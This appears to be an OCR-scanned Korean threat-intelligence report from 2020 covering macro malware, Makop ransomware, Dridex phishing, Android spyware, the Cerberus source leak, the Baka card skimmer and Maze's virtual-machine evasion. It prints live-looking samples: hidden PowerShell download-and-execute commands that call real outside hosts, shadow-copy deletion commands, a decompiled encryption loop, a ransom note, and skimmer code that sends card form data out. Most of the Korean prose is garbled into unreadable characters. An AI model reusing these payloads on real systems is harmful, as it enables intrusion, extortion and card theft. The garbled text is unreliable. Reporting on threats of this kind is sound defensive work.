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Function asfwqfasfsdafas()
ion.Wh
Attribute VB_Name ="Module1" Se.lectlon . oletory
With Selection.Font
Sub AutoOpen() OGS —
NameFarEast ="3= 115
asfwefsadfasfsadf NameAsci="

ANHOIE S EIO|LHE doc dsfwegfasdfwafsdaf .Name Other=""
asfwqfasfsdafas .Name o
sdfgefsdafsadfwaefsadf L
End Sub .Hidden =False

End With

End Function

Function asfwafasfsdafas()

Selection.WholeStory
Attribute VB_Name ="Module1" With Selection.Font

Sub AutoOpen() NameFarEast ="#2 11!
51012020 doc asfwefsadfasfsadf NameAscii =
dsfweqgfasdfwafsdaf NameOther=
asfwagfasfsdafas Name="
End Sub Hidden =False
End With
End Function
Function asfwafasfsdafas()
Attribute VB_Name ="Module1" Se.lectlon.V\{holeStory
With Selection.Font
Sub AutoOpen NameFarkast ="#2 15"
asfwefsadfasfsadf .Nam eASGi="
Sk=319| 7HZ| doc dsfwegfasdfwafsdaf .Name Other="
asfwafasfsdafas .Name m
sdfgefsdafsadfwqefsadf L
4Sub Hidden =False
n End With
End Function
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Function dsfweqfasdfwqfsdat()
Dim gewrtredf(18) As String
Dim vbNormalFocus As Integer
vbNormalFocus = Right(Left("jfsklfkshsdf@23jkjffkjfkjisfjza",
13), 1)
qewrtredf({l) =
"S+DCE+D: 5+D F+DWE+D15+0N5+DdS+D0%+DuE+Ds5+D0 5+D55+DyE+Ds 5+ DWE+D
0%+DW%S+D5+D65+D45+04 $+DWE+D1 5+0DnE+Dd$+Dos+DwS+DsE+DPE+DoS+DwE+D%
+De%+Dri+053+Dh3+0e5+D15+D1 5+D%+04 5+0vE+D15+D . $+D08%5+D" 5+Dp%+D%+D
oS +0ed+0rs+0%5+0s5+0h%+0e5+01%5+01%5+0 . $+De%+0xS+Des+D
%+D- 5+0WE+D15+Dn%+Dd 5 +D0%+DwE+D55+0t 5 +Dy E+D1 5+De™
gewrtredf(2) = "%+D %+DHE+D1i%+Dd%+Dd%+Des+Dn%+D
S+D0- 5+DcE+Dod+DmE+DmE+Dat+DnE+DdE+D
F+DE5+D{E+D[$+0s5+Dt5+DrE+D15+DnE+Dg+D]55+Das+D"
gewrtredf(3) =

Function dsfwegfasdfwgfsdaf()
Dim gewrtredf(18) As String
Dim vbNormalFocus As Integer
vbNormalFocus = Right(Left("jfsklfkshsdf@23jkjffkjfkjisfjz3",
13), 1)
gqewrtredf(l) =
"E+DCE+D: F+DY F+DWE+D15+DNF+Dd 5+ D0F+DuE+Ds5+00 5+D55+Dy 5+DsF+DWE+D
0% +DWE+DE+DE5+D45+D% $+DWE+D15+0Dn$+Dd S +DoS+Dus+Ds5+DPE+DoS+DwE+D%
+De5+Dr5+D05%5+Dh%+Des+D15+D15+D%5+D4 5+0vE+D15+D . 5+D8%5+D4 5+DpE+D%+D
owS+De5+0r5+0%+Ds5+0h$+De%+D1%+D1%+D . 5+De$+Dus+Det+D
F+D- F+DWE+D15+DN%+Dd 5 +D0%+DwE+D55+0t 5 +Dy E+D15+De™
gewrtredf(2) = "%+D %+DHE+Di%+Dd%+Dd%+Def+Dn%+D
Z+0-5+DcE+Dof+0mE+DmE+Dag+0nS+0dE+D
F+D&5+D{5+D[ 5+Ds5+Dt S+DrS+D15+Dn%+0g5+0 1 55+Das+D"
gewrtredf(3) =

Function dsfwegfasdfwgfsdati)
Dim gewrtredf(18) As String
Dim vbNormalFocus As Integer
vbNormalFocus = Right(Left("jfsklfkshsdf@23jkjffkjfkjisfjz3",
13), 1)
gqewrtredf{l) =
"E+DCE+D: 5+0Y 5 +DWE+D1 5 +DNF+Dd S +D0F+DuE+Ds5+D0 5+D55+Dy 5 +Ds5+DWE+D
0%+DWE+D5+D65+D45+04 $+DWE+D1i5+0nE+Dd S +Do%+Du+Ds5+0DPE+DoS+DwE+D%
+De%+Dr$+055+Dh%+De5+D15+D15+D%+0% 5+ DvE+D1%+D ., $+D85+D0 5+DpE+D%+D
owG+Ded+0r5+0%+0s5%5+0h%+0e%+015+01%+D. $+Ded+DxS+Ded+D
$+D- 5+DWE+D15+DN%+Dd 5 +D0%+DwE+D55+0t 5 +DyvE+D15+De™
gewrtredf(2) = "%+D %+DHE+Di%+Dd%+Dd%+De%+Dn%+D
%+0- 5+DcE+Dod+Dm3+DmE+Dag+0n%+Dd%+D
S+DEF+D{F+D[$+Ds5+0t5+DrF+D1i5+DnE+Dgs+D ] 55 +Das+D"
gewrtredf(3) =

FH

foli
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mypressonline[.Jcom

scienceonthewebl Jnet
atwebpages[.Jcom

medianewsonlinel.Jcom

myartsonline[.Jcom
sportsontheweb[ Jnet

getenjoyment].Jnet
onlinewebshopl.Jnet
mygamesonlinelJorg

gewrtredf(1) ="C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe “WindowStyle"
gewrtredf(2) =" Hidden -command &{[string]$a"

gewrtredf(3) = "={(New-Object Net. WebClient)."

gewrtredf(4) = "Do(http://kenyanews.atwebpa'

gewrtredf(5) = "ges.com/su/ce.txt)"

gewrtredf(6) ="} $b=$a.insert(29,wnloadSt"

gewrtredf(7) = "ring):$c=iex $bsiex $cf'

gewrtredf(1) = "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe “WindowStyle"
gewrtredf(2) =" Hidden -command &{[string]$a"

gewrtredf(3) = "={(New-Object Net WebClient)."

gewrtredf(4) = "Do(http://busyday.atwebpage”

gewrtredf(5) ="s.com/rg/ch.txt)"

gewrtredf(6) ="} $b=$a.insert(29,wnloadSt"

gewrtredf(7) = "ring):$c=iex $bsiex $cf'

gewrtredf(1) ="C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe “WindowStyle"
gewrtredf(2) =" Hidden -command &{[string]$a"

gewrtredf(3) ="={(New-Object Net.WebClient)."

gewrtredf(4) = "Do(http://goldbin.myartsonl’

gewrtredf(5) = "ine.com/le/yj.txt)"

gewrtredf(6) = " $b=%a.insert(29,wnloadSt"

gewrtredf(7) = "ring);:$c=iex $biiex $c'
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s EEr < twml? s
4 Er wifonts
""" [El xmins:mc http: ffschemas. openxmlformat. ..
""" [E] xmins:r http:/f/schemas. openxmlformat. ..
""" [E] xminsow http://schemas. openxmiformat. . .
----- [E] xminsiwis http: /fechemas. microsoft. com/. ..
""" Bl xmins:wi1s http://schemas. microsoft.com/...
""" [E]l xmins:wifse http://schemas. microsoft.com/...
""" [El mc:lgnorable wld w15 wilkse
» = wifont
> = weifont
» = weifont
» = weifont
4 = wifont

~[E winame KP CheonRiMaChe

» [Ex wipanosel

» = wicharset

= = wesfamily

= =2 wepitch

» [ wisig

Value

1 KP CheonRiMmaChe

[12 5] =8t 2MF| KP H2|0tHI7HAIZE 24 A L ZE S
BS WSA HE TARIEL Ui St Atz S2| sHA7Ef0|0] A= LT
— L. HQI0fIA] E0|047} &7 O)114Z! [ff LIEH = AT |=0F(skid mark)
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MR ZoiX|E (o2 7 QUHHA 2IEE S22 MEH QIA0|=(Threat Inside) MHIAS SoH MEE GFEILICE
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2. H|LjA R XX Makop 9|04
FE S

22 0[EMZ 2T

fof Makop 2HRI|0] 72 H&0| ZAI|0 7| 5EAES] 327 EQEiLT,

it
AR rﬁf: _ 0E - B1 BE B0/ Evemote
e - - v w2 qHP
AbH s = CHA) M 0= S =4 Evernote ~
2020-09-29 (B 2F 12:51
@ %l & <chigakuridzuku@gmail.com>
BB ASLCLENE S HHIS ATALICH Hau
= AE  innenl2@hanmail net; innerdult@kosmes.orkr ~
/| 0lE M zip )
il 271 ke
PASSWORD: 20200928
St gUCh =720 852 2B UCH AR T 201 2|15t A g4
[I3 1] Makop A0 O[HIY =22

I_

rOE NSIS 2 RIEHEIION Al A| 2531l 29101 TUS 2531510 child TRHA
FREILIC, Ofi= Hihlo] x|z

El 2=lol7| ?let A?l= 2YLILE M =&S AXoh| flof
1ol0] OIS Solf SF= TFeLIH
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Address |Hex dump ASCII

Ae1D1870 vssadmin delete
Ae1D188A shadows /fall fqu
Ae1D01890 iet.wbadmin dele

a@1D18na0 te catalog -quie
a@1Dp18Ba t.wmic shadowcop
ga1D18Ca 88|y delete.exit...

[23 3] 25 229 AL|)] oy 34 SiH

a1z
o1

ot £E8 Z2MASS SRARUM. Ol= ol Z2MIA0IM B2 S0 PSS A== 77| 2 2L

ocautoupds.exe
encsvc.exe
firefoxconfig.exe
tbirdconfig.exe
ocomm.exe
mysqgld.exe
mysqld-nt.exe
mysqld-opt.exe
dbeng50.exe
sgbcoreservice.exe
excel.exe
infopath.exe
msaccess.exe
mspub.exe
onenote.exe
outlook.exe
powerpnt.exe
steam.exe
thebat.exe
thebat64.exe
thunderbird.exe
visio.exe

winword.exe

wordpad.exe
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Of2 132 O f<st FERILIC

1

while { SetFilePointerEx(hFile, _ PAIR_ (vB, liDistanceToMove.s.LowPart), @, @) )

v1ie = 8;
w12 = *v5 - liDistanceToMove.QuadPart;
vll = w12;
if ( w12 = *(al + 16} )
{
w1l = *(al + 18);
v1E = @;
b
else
i
w13 = HIDWORD({w12);

if { !ReadFile(hFile, *{al + 12}, w11, ZNumberOfBytesRead, @) )
break;

w13 = NumberOfBytesRead;

if { !'MumberOfBytesRead )
return 1;

if ( NumberOfBytesRead < *({al + 16) && NumberOfBytesRead & @xF )

1
vl® = 16 - (MumberOfBytesRead & @uF);
sub_4810A8( (NumberOfBytesRead + *(al + 12})), @, 16 - (NumberOfBytesRead & @xF)};
w13 = NumberOfBytesRead;

¥

vld = *(al + 12};

pdwDatalen = wv1@ + v13;

if ( !CryptEncrypt(hkey, @, @, &, vli4, &pdwbatalen, v18 + v13)
|| !dword 4@s@@8{hFile, liDistanceToMove.s.lLowPart, liDistanceToMove.s.HighPart, @, @)
|| 'WriteFile{hFile, *{al + 12}, v1@ + NumberOfBytesRead, &NumberOfByteskiritten, @)
|| MumberOfByteskWritten < NumberOfBytesRead + v1@ )

1
¥

lipistanceToMove.QuadPart += NumberOfBytesRead;

if ( NumberOfBytesRead « *{al + 16} )
return 1;

if ( !SetFilePointerEx(hFile, *a5, @, @)
|| "wWriteFile(hFile, &liDistanceToMove, Bu, &NumberOfBytesWritten, @)
|| MumberOfByteskritten < 8 )

break;

1
¥

w6 = liDistanceToMove.s.HighPart;
if { liDistanceToMove.s.HighPart < *(a4 + 4) )

1
¥

else

1

break;

vE = ad;

if ( liDistanceToMove.s.HighPart > *{a4 + 4) )
return 1;

if ( liDistanceToMove.s.LowPart »>= *ad )
return 1;

vE = ad;

[3 4] oY AS3) 31H
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Ijd sept A=E|H o2t 22 U -ES 20ELIL,

e

| readme-warning txt - 2% =0 Bl =
mEFE BHEE MA0) 22V ==STH)
11l Greetings Do -

L{ttle FaL:

[1: Whats Happen?
&7 Your files have been encrvpted and now have the "makop” extension. The file structure was not

2
Q: How to recover files?
&7 1f wou wish to decrypt wour files vou will need to pav in bitcoins.

.3

(- What about guarantees?

&7 Its just a business. We absolutely do not care about vou and your deals, except getting benef
To check the ability af returning files, vou can send to us any 2 files with SIMPLE extensions(]

ﬁ How to contact with wou?

&7 You can write us to our mailbox: akzhg315@tutanota.com or akzhg31S@protonmail . ch or akzhg315E
=3

Q: How will the decryption process proceed after payment?

b Ahfter payment we will send to vou our scanner—-decoder program and detailed instructions for u
B,

@ 1f | don® want to pay bad people like vou?

&7 1f wou will not cooperate with our service - for us, its does not matter. But wvou will lose v
I BEWARE: -

DOM'T try to change encrypted files by wourself!

[f wou will try to use any third party software for restoring vour data or antivirus solutions -

dny changes in encrypted files may entail damage of the private key and, as result, the loss all

(22 5] HHE St

EX7t =28 HIZS 22 42 55| HRIZS E0lE 0= LSS 7I6H0F ofH ALES2! 0S 2k SW=
I

b ZIHHTO = RXIGHOF BHLICT. ot HelXQl A2 010|2S =8t AdT = MU0 £X| 27| ?loll 2=
EAH7| ) H7| SE0M SERE MT ok SFEAE FHIE 2 5= UTS StA= A= B7HX| CHH|ZH0[2t T St 4=
USLIC

UOM= SHS TR0 R 2FET 0] LhidH Trojan.Ransom.Makop / TrojanAgentWacatac 22 BIX| ! XIS UM, 2|02t
MHERF| OFMT 0| CHSHAMIEA LEE 2 [oC MEE= Threat Inside (A 2RISHY 4~ QESLICE
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[Spyware.Banker.Dridex]

OIMTC A HIN

S4 Dridex 21 E21= 38 H 23 ANTET} SRl 7IHS THALCE B2{0] 0|ROfELE, 0] TS
2014 BISIE| 2450} 2SR S SO0IM 012 RiEIst 152 HojL 714212 A3t Bl Cop E=
o

TA505 2 i 1E2| Aoz U QUCt,

K|t 9 & Chsat 22 HY0| +UEIRAC. 2E2ME Adet HIYZ SxE $EE 2ielot= LHEO|H.

2020-09-28 () 2% 10:06

DHL Accounts Dept. <noreply@dhl.com>
[PossibleSpam] DHL Overdue Invoice Motice - 1428105365

gh= MEH zeuthen@versteegen.de "

& DHL Overdue Invoice...

ﬂm‘m KB

Dear Customer,

Please find attached letter concerning your overdue invoice, This iz a svystem generated email.
Pleaze do not respond to this email.

Invoice Copies can be retrieved from MyBill

If vou have any questions or concerns, pleasze emai
billing.help@ dhl.com.

Regards,
DHL Express Accounts Dept,

[ ] Ol =t
5| TAS05 152 S8 7=z 2ol &4 H Bt 0212 SZ0| Tt 2A10l= Z20M T RE=
UR[2 22 U 7|ZS L= /27 EL U0 AEASS| F27F Q0N

[©)

[Tt Ol YT E2HE ZHAES Mo | 2lelid= X171 223t H0| U= HRLY L 2504 CHol

S o7k= 22t 2= 7HM0F Bl

SIXH 2efoflM= sHE 2 F=ZS Trojan.Downloader. XLS.gen’, Spyware Banker.Dridex’ EX| HOZ XIts|11
QUOMH, 2t AM| EA4H A= Threat Inside RIMHIA =S E6H &1010| 7Fs5iCt,
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3 opMTE BN T

[Spyware.Android.Bahamut]
AHILC FM HIIA

HH':' E= oIEIE WOt SAS wAlok= 2= UM QLY. 0] ZX|2| 2 =X2 M= STO0|ULV O M=

OoO™1 171

= =4 E1M0A= HiGKFE ZX|0] REok= obd &2l

@ singh Soorme

0] @201 E WXISAIRGUMT KES
A AR BEEX] BELICH

n Singh Soorme2| CHE ZE&E
SESLAI S LT SMS BAIX]
Ha U R

[23 1] 2Fd A &X| 3

=M L2 MTHE™ Spyware Android.Bahamut = L[sHAIR| 7HO! ME &4
QUC} 2|11 34 0| CHE 39 CHAOf| 50| 34 =0 HaPt s A

mfn
A
0
;
g
i
0
;
Q

0
2
Bl
i

SX[ZARZI0 Sol7| OF20|7 0] ASAS] o L20| FAULC SQOICH ¥ AX| A| 2Q12] ANEEO|

o
SIEON LB 2 USS QIKIGHL OIS 7IS010F S 20FM Tt 22 ARIZ 4 QH= HAIS ARSSHOF BTt

SAXH 2ok M OlM = SHE 42 ‘Spyware. Android Bahamut' & X| HOZ FITISIT QIO 23 AN BME A=
Threat Inside BIMH|A F== Soff 2210| 7ksolct.

ESTsecurity Copyright © 2020 ESTsecurity Corp. All rights reserved. 20


https://www.threatinside.com/

O|AEA|RZIE] HOt S8k H1A

ESTsecurity



04 =28 Hot F&

Cerberus W EZO0|S0} 2AATE SRz ST

Cerberus banking Trojan source code released for free to cyberattackers

Cerberus 'WiZ E20|50[2| AATETL A0 I £ ACTI2RE o ZHM FE= S/HEJCE Xt 9 & 16 20|
THEIE FIATHAT| NEXT 2020 OfiA] ALO[H{EQH 4722121 Dmitry Galov = REE ZE= Cerberus 2 2H= 0|202

HHEEIQOM ANIEE AISA} U 2] B2 HHIS 7{CH5H QIEi0] MHERICHT MBI

Cerberus = 712 QIEZ0|E OS82 2 A/ ZHI W2 E20|=0HCL2019'A 7 HRH HiEE O 2 HOf= 0] &
ANA ESOISOHRAT)= ZA| St 7IZAH7], 717] 71 2=, SNS & 20 2H[0] 2IHS Hdott] 2 AHH
SIS EelotHI0lH 25| 52| S24= et = UL 0] 2ITF == OTP Lt 01F QIS F =7 et HAE HAXIS
ol=2

21

= 7 U= 7|55 Zelolal AUCT Mt ZEFHR1 0[S US(2RA) LAIE 22l 4 Ut 722 A5V IS Soll 8=

n

78 X, Aest 2 AHES2 T2 SE0] AE00A FA EE AL | HO= ES Cerberus E HZAMCE i
OS2AHI01M0] S2l= 87| floll 1201 MEEUS U= 7IS0| Foliokl SHHOIACL SHXIZE ARSAF 7t HE
SO{LIAt H|0|E I§7 | XIS S5l Lfotix} 7|7 |0fl EZO0|=0HE B et A2 HOICt 78 &, Hudson Rock 2 Cerberus 7t
B0 20T A= LAY, olid = FIT = ER (AP AMRICH, §l0] ofA|=|0] MZ=2 22X Q6T
HRACL = offg HGTE APK AATE, S20|YE =5, M, 22Xt THE2E F=2| 2K 7H4S $50000 02
AU} Z0H22 Cerberus 71 Ol $10,000 2| ~2lS STACT BIRACE SFX|2 S YT EE FLOHSIIAL LIAM= Ol=

OIFE QIE Aoz HOICY

0[0f| CH FHATHAT |= Of2Hot Z20] RZUCH
“BIAIOIOIZ TAIGH= Carbers HUKISS & 4 & Sl TRMEC| CHSMEL BIFIS HIMZKIZt 7Het Ho| SHRIE(0]
79 Y ATCE 0] 291 HOS HOICE 0[QL SHIGHK| QKR HAIRKS 10| TRME A FEZ O7[Qls

|

A0 AET2H2E 0| |0 AZKI0A| S7Hoh |= 283U

TIATHAT = E5t A IB2E B0 Cerberus AATET} FJHE 3 QT A0} Z0l e & 20|
ZZPHOR S7RHCHT YHCH Galov = 0[0f CHSH OFX S0IIELE S{AJ0l] RHIY 7|7| ABXIE BZ5IX| 242
NS HERIX2t FET Fe= SIHEX} O 34 etd2 BT AFIMCE Cerberus 7t AH|AY FETE
(MaaS)= MISEIUS A MH|A 0[8== 170E 4,000 E2, 14 12,000 F2 O|UCE O[M| 7K = Z2HEN|M &5
M0 AATFES S5 SINACE TR B2 SZHAE0| Cerberus S 012 A0|H, offd Z=2| HY0| I RO
WZAEl 202 FEEIC)

[EX] [ZD Net] Cerberus banking Trojan source code released for free to cyberattackers

https:/ /mmw.zdnet.com/article/ cerberus—banking-trojan-source-code-released-for-free-to—cyberattackers/.
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Visa, /22 JavaScript 21271= A7|H2l Baka O CHsH A1

Visa wams of new Baka credit card JavaScript skimmer

Vis OflM 22 XHIAIEE 22101 AE0 A7|H Baka O] Cigt A11ES Ul Baka = S2! HIO[HE FSoHH

2 HZ22j0iM Xp7| XielE HMAok= 0] 2 SZ0|C,. Baka AE71= EF AFEEE= 2020 H 2 &, & A7
7|E9] ImagelD £ AL H0| = 2 MHE ZAOIE & EAEIL X|H off Visa = Pipka = T £ LHE
JavaScript B A7|HE ML 0= 2019 EH 9 & =0|9f g 22421 AE0MM XF THE = £ LE 2210
AE0 Z|A 16 3X01| BEA| SR,

Baka = /21 YA LEE 2|7 0j0IK| RS S4i HOJEIS S5 5 LHHERl A7[Y 715 0lQI0E SZA0!
=S U 2CIS AIZSHT QpTTO| A 40| NS 0 TT2 £3ME NTC JHKIC| Xol o=
S8

Visa = O[0i| LH5H Of2H2t ZO| AZ3ULL.
‘0] A7|H= M AMTE AJHHE TISH | flo SHCE EEE|H, AETE HE3SIE fo 2+ DfsHK Ot 1Rst
=et IRMOEE ARSRICt 0] A7|H HE2 WA E= 018t X 24 7IsdS BXlsiH HO|ES

[

SHOZ RESH 2 HE22(0IM XHiS MAH6IH BX| & 245 TIplCt”

0x

sa = 02 2712 2201 AE00M Baka £ WWHACL 0] AMTFEE= jquery—cyclelJoom, b-metricllcom,
apienclavel.Jcom, quicdn[.Jcom, apisquerel.Jcom, ordercheck].Jonline, pridecdnJcom EMHIQIS AF2SH= SHAE 22121
AE00]] FRIE HEIRALC,
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// exfil code

function createkElement(nams, src, data) {
var-img_id-=--Math.random() * (99999 - 12660) + 100088;
var b = document.createElement("img");
b.width =-"1px";
b.height =-"1px";
b.id =-img_id;

var-html-=-"";
for (var key in data) {
if(data[key] && typeof datal[key] !== "function" && key != "length') {
var value = String(data[key]).replace(/'/g, '&quot;');
html = html + key + "=" + value + '&’;
s}
}

b.src = src.trim() + '?' + html;
document.body.appendChild(b);
setTimeout(document.getElementById(img_id).remove(),3€00);

[12 1]Baka & R 3=
[EX]] https://usavisa.com/content/dam/VICOM/global/support-legal/documents/visa-security-alert-baka—javascript-skimmer pdf

HO|X| G F=2

0] AJRIEL AJRUE EfIS Saff 2210 AE0{0| ZR| HOJX|0) FYUE0] 2LH= (2 MHZRE] A7]2) %

CHR2 5101 B0 ARSI OJ2M SHRK= S AZ0] AH0] SASIE TUO0|LE T240| HEEIS

o) CIOIEIE AEISH A7) FES} 2SI BIES 32 4 Slrk A7 HOIZES JaSapt & EHOR

HOIXIZ HCSH=D| ARREl= HOR BO0l= FE2 SHSEIC) 0] HO|2EE REON WS 21t SU3 o453
SIAIS GBI, O] A7 |7} AISYEIZH ZER| HOJX| L0l ZUR| 221 HIOIEHZ 2RI

W,I
>

—

Visa = Baka 0f CHoli C2 OfjA] Ci22 =0t A7| U =0t SI=FTE 4= H=2101/| 2ol XOR AHE ARESk= A
I JavaScript 27 [ A2t SRIC,
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_loadScripts([
_script("405c5c585b1207674a05454d5c5a414b864b47456749464944515c414b5b86425b"), // decodes to “https://b-metric.com/analytics.js"
L=
try-{
let s = setInterval(() => {
if - (_scriptCallback !=-null)-{-// _scriptCallback is-a string returned by the above-loaded JS file - encrypted string of plain
let-c = () =>{}
c.toString-=-()-=>-{ - c-=-false-}
if(typeof ¢ === "function") {
let _script- = _ script(s);
let ¢ =_scriptCallback; // -save the-first returned string-as-the key for-later
_loadScripts([
_script(_scriptCallback), // https://b-metric.com/analytics.js?q=0.<rand num from-var "s" >
]J 0= {
a =-"constructor”;
b-={};
c-=__script(c); // -initialize-another-decoder
a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototype0f(a.sub), a).value, -0, c(_scriptCallback))();
_scriptCallback =-null;
clearInterval(__ s);

s

}
}
},-100);
} catch (e) {

}
s

[12! 2] Baka 24
[EX]] https://usavisa.com/content/dam/VICOM/global/support-legal/documents/visa-security-alert-baka—javascript-skimmer pdf

Hys et ZY A R 23t
Visa = 28 7k 2F, 22121 AR 2K, MH[A MEYUA, MELE| S5 A, SE 204

'y

AAHIO| SHUE ZiS 748 A WTDIC(What to do if Compromised) 2A1S ZX610] ZX|E

o
>
=2
my
=

Cst

L

5
® 2ol A0 EH0IN C22t0] SLI0| UK FIIKCZ 20

® MH|A XS HHE Soll 2212l AR 2HE0f| SefEl =0 Choll =X X! AA[GH |

® (DN 3! 7|t MEIHE| 2| HES| AL

o 22421 AO[EOIN FFHOILt AITES FI M= Aflish |

® TINMOE AL IIE J[EIMHIA H BE ATEQOIE ZM HEMCE AT20|1= I IHX| ME
o 2 OHSSIA0K HelHs HHo0 BAOIEZ Q| oy A2]2 FE XHEHGH |\

o | IE 3 AF tich B2 Hets & st QIENAZE R0} |

o Lot USE AEotl 0I5 215 7| &gt op|

® XY 2Fot= ZX| HO[X|=L Z2H| £F40M 2ot= ThE & HO|X[0f 1240 =E YIS 1l
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Ol 2242 AR A7|U APYIE=RE 2RI IAS THY Qo] 258 4= Q= WO,

[EX] [Bleeping Computer] Visa wams of new Baka credit card JavaScript skimmer

https:/ /Mmmw.bleepingcomputer.com/news/security/visa—wams-of-new-baka—credit-cardHavascript-skimmer/

[Visal ‘Baka' JavaScript Skimmer Identified
https://usavisa.com/content/dam/VCOM/global/support-legal/documents/visa—security-alert-baka—javascript-skimmer.pdf
[Visa] What To Do If Compromised  https://usavisa.com/dam/VCOM/download/merchants/cisp-what-to-do-if-compromised.pdf
[Pci] Information Supplement: Best Practices for Securing E-commerce

https:/ /mww.pcisecuritystandards.org/pdfs/best_practices_securing_ecommerce.pdf

Maze |0, BIXIS Dlst7| floh ti=20l 7HtLd AR

Maze ransomware now encrypts via virtual machines to evade detection

Maze 2HMYO] 2HXZt 244 Ragnar Locker 1E0| AIS3HEH H=kg x{ESt 9= LIEMSICL OfX| OS2
7PSHANIM AEHE US3I5H| AIRRICE K| 58, Ragnar Locker 7t SAE L HOF AT EQHE 23[617| LIk
VirtualBox Windows XP 7 HA IS ARESH] MYUS USSiei k= LHE0| HE[RICY.

O] 7k iil2 SAEQS| EaHE HH SR OIRES 2, old 37 W OIS Y==beh| ?ll i
7FSTHAOIAM HEAE STt ShE 7k M2 O 2of ADEQNT Afistl UX| EOH SAEI)
E2t0|20]| DFR2EE AEH0]7] E0H| SAES| HOt ADEQ 0= 0| AdT=E BIX| I RIHE =~ QA EICt

Maze, O[X| 7 }iTilS Soll AREE eS3lol7| Al

Sophos = &t 0ZHOAH| SHAISH ARAZ CHSSIE & Maze 7t HMYE & B HIESIELL A|=3HOLE HOk
ATEAI0| XITHE NS LAIMCL Maze SAA= ¢ 5 HO| A=A 'Windows Update Security, Windows
Update Security Patches, 'Google Chrome Security Update' S2| 0|22 ArEok= 02t 2ilS Sl CHIsH 24904
oS Astist] AIS=3HCE Sophos 2| Peter Mckenzie & 0] & H2| A7t B25 MG Maze SZXHt Ragnar
Locker ZHELI017} OO AIE=3HEH TERS A=RCET SHRACH

Maze = M| | SZ0IN AAEDOFEE B=R 7 7k ik Sl7A| VirtualBox VM 2 ELIN0E AH0| EX[ok=

MS| TfUS HHESHCE 7FAMMHAIO| AJRMZ|H Ragnar Locker 321t OIRIIXIZ Maze £ Alstsl7| {6l 71712
ZH|A|Z|= startup_vrun.bat HYX[III0| AISH=ICT
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@echo off

ping -n 6 127.0.0.1>nul

start explorer \\VBOXSVR\1\

if exist C:\vrun.exe goto o

:a

if exist \\VBOXSVR\1\builder\vrun\vrun.exe goto b
ping -n 2 127.0.0.1>nul

goto a

:b

copy /y \\VBOXSVR\1\builder\vrun\vrun.exe C:\vrun.exe
copy /y \\VBOXSVR\1\builder\vrun\payload C:\payload
copy /y \\VBOXSVR\1\builder\vrun\preload C:\preload.bat
C:\preload.bat

shutdown /s /f /t 1

exit

10

C:\vrun.exe SOPHOS lé%s

(2] 7S THANIM Maze HMYIE A3HA|7|7] SISt HIX| T
[EX|https://news.sophos.com/en-us/2020/09/17/maze-attackers—adopt-ragnar-locker-virtual-machine-

technique/

0| MAO| B=&1T MAREH SAES MAUS ASSIGH| Lol vrunexe 7F ARFEICE 7HMHAIO] SAEQ]
OIREE S2l0|E0IN USSE 2ils 4:51617| MR Hot ATEY07} SRS EX| L SX[E 4 QA =ICt
Sophoslabs HTHEE2 Ragnar Locker 2| 0M 5201 H|5H C|AT EZF0| O 0| TQsH HIW I 2HAl0l2t
AHIUCE Ragnar Locker 2] 7H Al A2 =R XPE 2E3H7| IIF0]| AX| S7H2 404MBEIO| HRSIX| IUCE,
Maze = 2= 7 = 2E3W7| HZ0 S 2.6GB 71 HL3IHCE

0] SA= Soll HHA SSAS0| TE B Hs ZHERe! Qs HR 01F MERCl= AkS & =
=

o

[=}
QIC} Ragnar Locker = Maze 712EI0| ULH0|7| HE0| Maze 7t 0] 22 Alshst 2~ QI Z Ragnar E0IM E28
FRU2 7tsdE QL

o
Rl
A

[EX] [Bleeping Computer] Maze ransomware now encrypts via virtual machines to evade detection

https:/ /Mmmwbleepingcomputer.com/news/security/ maze-ransomware—now-encrypts-via-virtual-machines—to-evade—detection/
[Sophos] Maze attackers adopt Ragnar Locker virtual machine technique
https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine—technique/
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